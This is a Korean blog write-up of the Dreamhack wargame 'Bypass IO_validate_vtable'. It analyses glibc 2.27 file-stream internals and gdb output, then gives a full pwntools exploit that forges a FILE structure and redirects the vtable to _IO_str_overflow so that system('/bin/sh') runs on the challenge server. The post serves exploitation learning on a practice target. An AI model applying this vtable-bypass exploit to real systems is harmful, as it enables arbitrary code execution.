graf
[Dreamhack] Bypass IO_validate_vtable 본문
※ 라이브러리 코드 전부 다 열어볼거라 많이 지저분합니다.
원래 워게임 풀이 거의 안 올리는데
드림핵에 올리려고 기껏 정리한 게 길이 제한 때문인지 업로드가 안돼서 버리기 아까워서 가져왔다.
1. 문제 코드 확인
// Name: bypass_valid_vtable
// gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie
#include <stdio.h>
#include <unistd.h>
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
init();
fp = fopen("/dev/urandom", "r");
printf("stdout: %p\n", stdout);
printf("Data: ");
read(0, fp, 300);
fclose(fp);
}
파일 포인터를 임의로 채울 수 있다.
stdout을 통해 라이브러리 베이스 주소를 주고 시작한다.
struct _IO_FILE_plus {
_IO_FILE file;
const struct _IO_jump_t *vtable;
}
목표는 파일 포인터 뒤에 오는 vtable이다.
struct _IO_jump_t {
size_t __dummy;
size_t __dummy2;
_IO_finish_t __finish;
_IO_overflow_t __overflow;
_IO_underflow_t __underflow;
_IO_underflow_t __uflow;
_IO_pbackfail_t __pbackfail;
_IO_xsputn_t __xsputn;
_IO_xsgetn_t __xsgetn;
_IO_seekoff_t __seekoff;
_IO_seekpos_t __seekpos;
_IO_setbuf_t __setbuf;
_IO_sync_t __sync;
_IO_doallocate_t __doallocate;
_IO_read_t __read;
_IO_write_t __write;
_IO_seek_t __seek;
_IO_close_t __close;
_IO_stat_t __stat;
_IO_showmanyc_t __showmanyc;
_IO_imbue_t __imbue;
}
그리고 이게 vtable에서 참조하는 멤버들이다.
문제 코드에서 read 이후에 실행되는 함수가 fclose밖에 없으니fclose가 vtable에서 어떤 함수를 실행하는지 확인해보자.
2. fclose의 vtable 호출 함수 확인
먼저 fclose가 vtable의 어떤 함수를 사용하는지 확인해볼 것이다.
그래야 vtable에 넣을 오프셋을 계산할 수 있다.
$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
문제 환경에서 사용된 라이브러리의 버전은 GLIBC 2.27-3ubuntu1다.
해당 버전의 라이브러리 파일을 받아와서 fclose의 구현을 확인해봤다.
# define fclose(fp) _IO_new_fclose (fp)
stdio.h의 135번 라인이다.fclose는 메크로를 통해 _IO_new_fclose가 된다.
_IO_new_fclose의 구현을 찾아보자.
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
_IO_new_fclose의 정의를 찾았다.
iofclose.c의 33번 라인이다.
vtable과 관련이 있을 것으로 보이는건
close와 finish가 들어간 _IO_file_close_it과 _IO_FINISH 이렇게 두가지다.
함수 동작은 lock과 release 사이에 있는 _IO_file_close_it이 메인인 것 같다._IO_file_close_it부터 확인해보자.
2.1 _IO_file_close_it
versioned_symbol (libc, _IO_new_file_close_it, _IO_file_close_it, GLIBC_2_1);
fileops.c의 443 라인이다.
버전 심볼 매핑이다.
실제 구현에는 _IO_new_file_close_it이라는 이름이 쓰였다.
int
_IO_new_file_close_it (_IO_FILE *fp)
{
int write_status;
if (!_IO_file_is_open (fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush (fp);
else
write_status = 0;
_IO_unsave_markers (fp);
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
/* Free buffer. */
if (fp->_mode > 0)
{
if (_IO_have_wbackup (fp))
_IO_free_wbackup_area (fp);
_IO_wsetb (fp, NULL, NULL, 0);
_IO_wsetg (fp, NULL, NULL, NULL);
_IO_wsetp (fp, NULL, NULL);
}
_IO_setb (fp, NULL, NULL, 0);
_IO_setg (fp, NULL, NULL, NULL);
_IO_setp (fp, NULL, NULL);
_IO_un_link ((struct _IO_FILE_plus *) fp);
fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1;
fp->_offset = _IO_pos_BAD;
return close_status ? close_status : write_status;
}
libc_hidden_ver (_IO_new_file_close_it, _IO_file_close_it)
fileops.c의 128 라인이다.
플래그 검사 몇 번 하고 _IO_SYSCLOSE를 실행한다.
#define _IO_SYSCLOSE(FP) JUMP0 (__close, FP)
libioP.h의 259 라인이다.
JUMP0면 vtable 호출 메크로다.
vtable에서 __close를 호출한다.
일단 vtable의 close가 호출된다는 것은 알았다.
이제 아까 봤던 _IO_FINISH도 확인해보자.
2.2 _IO_FINISH
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
libioP.h의 133 라인이다. 바로 결론이 나왔다.
JUMP1이다. 이것도 vtable을 호출하는 동작이다.
fclose 함수는 vtable에서 close와 finish 두가지를 사용한다는 것을 알 수 있다.
vtable을 임의로 설정할 수 있으니 둘 중 하나를 골라서
원하는 임의의 함수가 호출되도록 하면 될 거다.
2.3 조건과 오프셋 확인
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
(fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
_IO_SYSCLOSE는 아까 코드에서 봤던 것처럼
호출하기 위해 위 조건을 맞춰줘야한다.
특별한 조건이 없던 _IO_FINISH가 사용하기는 더 편하겠다.
struct _IO_jump_t {
size_t __dummy;
size_t __dummy2;
_IO_finish_t __finish;
이건 아까 봤던 vtable 구조체 앞부분이다.
finish는 size_t 두개 이후 세번째에 위치한다.
fclose에서 finish 호출을 위해 vtable+0x10 주소를 참조한다.
3. 호출할 함수 확인
vtable의 어느 멤버가 호출되는지 알았다.
그리고 어떤 조건이 들어가는 지도 확인했다.
이제 finish 대신 호출해올 함수를 골라야한다.
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
libioP.h의 117 라인이다.
_IO_vtable_offset이 여기서 나온다.
참조하기 전에 vtable의 주소가 vtable 영역에 속하는지를 검사한다.
_IO_vtable_offset 때문에 원가젯같은 건 쓸 수 없다.
vtable 내에 있는 함수 중에서 선택해야한다.
로드맵 자료에서는 str_overflow를 사용했다.

str_overflow는 vtable 초기화 코드 찾을 때 매번 나오던 그거다.
이 함수의 구현을 먼저 찾아보자.
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
strops.c의 81번 라인이다.
중요한건 맨 아래 new_buf 부분이다._allocate_buffer(2 * _IO_blen (fp) + 100) 형태로 함수 포인터를 호출한다.
그런데 fp에서 _s를 참조하는데 이게 뭔지를 모르겠다.
이것부터 확인해보자.
struct _IO_strfile_ {
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
}
struct _IO_streambuf {
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
}
struct _IO_str_fields {
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
}
이건 심볼이 있는 라이브러리를 받아와서 확인했다.
struct _IO_strfile_ {
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
}
요약하면 이런 형태다.
파일포인터, vtable, _allocate_buffer 순서다.
fp 입력하면서 이어서 같이 덮어 쓸 수 있다.
_allocate_buffer(2 * _IO_blen (fp) + 100) 이 형태에서
적어도 _allocate_buffer는 페이로드를 통해 제어가 가능하다는 것을 알았다.
그럼 이번엔 인자로 들어갈 _IO_blen (fp)도 확인해보자.
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
libioP.h의 535 라인이다. 이번에도 메크로다.
fp를 참조해서 버퍼 크기를 계산한다.
정리하면 _IO_str_overflow 함수는 내부적으로_allocate_buffer(2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
형태의 함수를 호출한다는 의미다.
확인했듯이 호출될 함수 포인터와 내부에 들어가는 인자까지 모두 임의로 설정해줄 수 있다.
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
1)if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
2)if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) {
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
3)if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
4)if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else {
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
5)if (new_size < old_blen)
return EOF;
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
하지만 _allocate_buffer를 호출하기 위한 조건이 있다.
여기서 세번째 if문에서는 내부로 진입하되, 1번과 4번은 피해야한다.
안그러면 리턴에 걸려서 포인터 호출 코드까지 실행되지 않는다.
fp->_flags & _IO_NO_WRITES == false
fp->_flags & _IO_USER_BUF == false
fp->_IO_write_ptr - fp->_IO_write_base >= fp->_IO_buf_end - fp->_IO_buf_base + flush_only
조건을 정리해봤다.
이렇게 세가지를 만족해야 allocate_buffer를 실행할 수 있다.
flush_only는 0 아니면 1이니 fp 인자들만으로 충분히 조건을 맞춰줄 수 있겠다.
4. str_overflow 찾기
이제 vtable을 조작해서 어떤 함수를 호출해오면 되는지까지 알았다.
하지만 vtable->finish가 가리키는 함수가 _IO_str_overflow가 되게 해야한다._IO_str_overflow 주소가 저장된 위치를 찾아보자.

이게 vtable 초기화 코드를 찾다보면 계속 나오는 형태였는데,
여기서 알아야할 건 vtable은 여러가지 형태로 초기화되고,
각 파일 포인터들은 필요에 따라 적절한 vtable을 선택하여 사용하는 방식으로 동작한다는 점이다.
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
const struct _IO_jump_t _IO_file_jumps_mmap libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
const struct _IO_jump_t _IO_file_jumps_maybe_mmap libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
vtable을 초기화하는 코드를 열어보면 이렇게 구조체가 다양하게 존재하는데
라이브러리 코드가 각 묶음들을 vtable을 통해 적절하게 참조하려면
라이브러리의 데이터 영역에 vtable 묶음들이 들어있어야한다.
그러니 초기화 코드에 사용된 str_overflow 또한 vtable이 저장된 라이브러리 영역 내에 존재할 것이다.
(gdb) x/30gx &_IO_file_jumps
0x78db0c3662a0 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x78db0c3662b0 <_IO_file_jumps+16>: 0x000078db0c00a330 0x000078db0c00b300
0x78db0c3662c0 <_IO_file_jumps+32>: 0x000078db0c00b020 0x000078db0c00c3c0
0x78db0c3662d0 <_IO_file_jumps+48>: 0x000078db0c00dc50 0x000078db0c009930
0x78db0c3662e0 <_IO_file_jumps+64>: 0x000078db0c009590 0x000078db0c008b90
0x78db0c3662f0 <_IO_file_jumps+80>: 0x000078db0c00c990 0x000078db0c008850
0x78db0c366300 <_IO_file_jumps+96>: 0x000078db0c0086d0 0x000078db0bffc100
0x78db0c366310 <_IO_file_jumps+112>: 0x000078db0c009910 0x000078db0c009190
0x78db0c366320 <_IO_file_jumps+128>: 0x000078db0c008910 0x000078db0c008840
0x78db0c366330 <_IO_file_jumps+144>: 0x000078db0c009180 0x000078db0c00ddd0
0x78db0c366340 <_IO_file_jumps+160>: 0x000078db0c00dde0 0x0000000000000000
0x78db0c366350: 0x0000000000000000 0x0000000000000000
0x78db0c366360: 0x0000000000000000 0x0000000000000000
0x78db0c366370: 0x000078db0c00e300 0x000078db0c00df60
0x78db0c366380: 0x000078db0c00df00 0x000078db0c00c3c0
vtable 위치는 도커에서도 확인할 수 있다.
(gdb) x/i 0x000078db0c00df60
0x78db0c00df60 <_IO_str_overflow>: mov (%rdi),%ecx
_IO_file_jumps 아래 있는 다른 vtable들도 하나씩 확인해보면
overflow 위치에 _IO_str_overflow가 들어간 vtable을 찾을 수 있다.
(gdb) p/x 0x78db0c366378 - 0x78db0bf7e000
$5 = 0x3e8378
라이브러리 오프셋을 계산해보면 0x3e8378이 나온다.
라이브러리 베이스 주소를 알고 있으니 _IO_str_overflow의 위치도 알 수 있다.
5. 페이로드 작성
이제 필요한 정보는 다 나왔다.
페이로드를 작성해보자.
payload = p32(0) # _flags
payload += p32(0) # padding
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0) # _IO_save_base
payload += p64(0) # _IO_backup_base
payload += p64(0) # _IO_save_end
payload += p64(0) # _markers
payload += p64(0) # _chain
payload += p32(0) # _fileno
payload += p32(0) # _flags2
payload += p64(0) # _old_offset
payload += p64(0) # __cur_column _vtable_offset _shortbuf + padding
payload += p64(0) # _lock
payload += p64(0) # _offset
payload += p64(0) # _codecvt
payload += p64(0) # _wide_data
payload += p64(0) # _freeres_list
payload += p64(0) # _freeres_buf
payload += p64(0) # __pad5
payload += p32(0) + b"A"*20 # _mode + char[20]
지난번에 심볼 보고 크기 계산해서 맞춰놨던 구조체 틀이다.
from pwn import *
#p = remote("localhost", 8000)
p = remote("host8.dreamhack.games", 9712)
stdout = 0x3ec760
lib_base = int(p.recvline().split()[1], 16) - stdout
print(hex(lib_base))
str_overflow = lib_base + 0x3e8378
system = lib_base + 0x4f440
bin_sh = lib_base + 0x1b3e9a
payload = p32(0) # _flags
payload += p32(0) # padding
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(((bin_sh-100)//2)+1) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((bin_sh-100)//2) # _IO_buf_end
payload += p64(0) # _IO_save_base
payload += p64(0) # _IO_backup_base
payload += p64(0) # _IO_save_end
payload += p64(0) # _markers
payload += p64(0) # _chain
payload += p32(0) # _fileno
payload += p32(0) # _flags2
payload += p64(0) # _old_offset
payload += p64(0) # __cur_column _vtable_offset _shortbuf + padding
payload += p64(0x6010a0) # _lock
payload += p64(0) # _offset
payload += p64(0) # _codecvt
payload += p64(0) # _wide_data
payload += p64(0) # _freeres_list
payload += p64(0) # _freeres_buf
payload += p64(0) # __pad5
payload += p32(0) + b"A"*20 # _mode + char[20]
payload += p64(str_overflow-0x10) # vtable
payload += p64(system) # allocate_buffer
p.send(payload)
p.interactive()
확인한 그대로 필요한 인자들만 채워줬다.
앞서 나온 조건들을 모두 만족하도록 함수와 인자들을 넣어주면 된다.
_IO_write_ptr은 flush_only가 어떻게 들어갈지 몰라서 안전하게 하려고 1을 더해줬다.
lock은 0을 넣으면 참조하다 폴트가 난다. 읽기 쓰기 가능한 got 뒤쪽 빈 공간으로 넣어줬다.
